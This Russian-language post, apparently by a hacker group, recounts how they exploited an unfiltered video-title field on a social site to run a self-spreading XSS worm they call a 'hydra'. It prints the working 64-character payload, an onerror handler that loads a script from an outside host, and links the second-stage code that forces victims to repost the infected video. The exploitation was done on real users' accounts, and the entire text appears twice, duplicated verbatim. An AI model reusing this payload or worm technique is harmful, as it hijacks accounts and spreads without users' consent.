Доброго времени суток, на связи команда Багосов!
Этой ночью нами была найдена критическая уязвимость в нововведённом видео-плеере.
Уязвимость заключалась в отсутствии фильтрации названия видео, после его редактирования и позволяла она вставить туда любой пользовательский javascript код, чем мы и решили воспользоваться!
Всё бы хорошо, но почти сразу мы наткнулись на проблему - лимит ровно в 64 символа. Нам необходимо было построить цепочку эксплоитов, которая сама себя встроит в html код страницы и сможет распространяться самостоятельно, как червь(Хотя мы назвали это гидрой, расскажем почему чуть позже), Спустя несколько часов перебора вариантов, мы максимально сильно ужали точку входа в наш скрипт(из-за такого подхода ломался интерфейс плеера, так как нам приходилось убирать некоторые кусочки html кода для вмещения в лимит символов).
Не будем тянуть, представляю вам магнум опус этого взлома, код загружающий внешний скрипт на страницу, длинной ровно в 64 символа:
<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"
Скрипт создавал на в html коде страницы тег script, ссылающийся на этот код:
pastebin.com/maewTdPT
Этот код работает достаточно просто, он берёт хэш прямо с кода страницы(он нужен для работы бекенда) и с ним в качестве аргумента делает репост записи с видео, у которого в названии та самая строчка из 64 символов.
Ну и теперь следите за руками, сейчас я вам покажу секрет фокуса!
Каждый человек, заходя в новости, прогружал плеер с вредоносным кодом(обычно даже не один), что вызывало цепочку скриптов на странице и как следствие, делала репосты на стену пользователя, которые в последствии попадались другим пользователям.
Самое смешное, если у пользователя на собственной стене было хотя-бы два репоста, то избавиться от них было просто невозможно, удаление одного поста вызывало перезагрузку страницы и повторное исполнение цепочки скриптов, потому мы и назвали её гидрой, потому что убить её можно было только уничтожив все репосты разом, что конечно подсилу только админам.
Хотим отметить скорую реакцию, достаточно ранним утром, у администрации сайта. Это приятно и вызывает доверие! Спасибо!!
Этой ночью нами была найдена критическая уязвимость в нововведённом видео-плеере.
Уязвимость заключалась в отсутствии фильтрации названия видео, после его редактирования и позволяла она вставить туда любой пользовательский javascript код, чем мы и решили воспользоваться!
Всё бы хорошо, но почти сразу мы наткнулись на проблему - лимит ровно в 64 символа. Нам необходимо было построить цепочку эксплоитов, которая сама себя встроит в html код страницы и сможет распространяться самостоятельно, как червь(Хотя мы назвали это гидрой, расскажем почему чуть позже), Спустя несколько часов перебора вариантов, мы максимально сильно ужали точку входа в наш скрипт(из-за такого подхода ломался интерфейс плеера, так как нам приходилось убирать некоторые кусочки html кода для вмещения в лимит символов).
Не будем тянуть, представляю вам магнум опус этого взлома, код загружающий внешний скрипт на страницу, длинной ровно в 64 символа:
<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"
Скрипт создавал на в html коде страницы тег script, ссылающийся на этот код:
pastebin.com/maewTdPT
Этот код работает достаточно просто, он берёт хэш прямо с кода страницы(он нужен для работы бекенда) и с ним в качестве аргумента делает репост записи с видео, у которого в названии та самая строчка из 64 символов.
Ну и теперь следите за руками, сейчас я вам покажу секрет фокуса!
Каждый человек, заходя в новости, прогружал плеер с вредоносным кодом(обычно даже не один), что вызывало цепочку скриптов на странице и как следствие, делала репосты на стену пользователя, которые в последствии попадались другим пользователям.
Самое смешное, если у пользователя на собственной стене было хотя-бы два репоста, то избавиться от них было просто невозможно, удаление одного поста вызывало перезагрузку страницы и повторное исполнение цепочки скриптов, потому мы и назвали её гидрой, потому что убить её можно было только уничтожив все репосты разом, что конечно подсилу только админам.
Хотим отметить скорую реакцию, достаточно ранним утром, у администрации сайта. Это приятно и вызывает доверие! Спасибо!!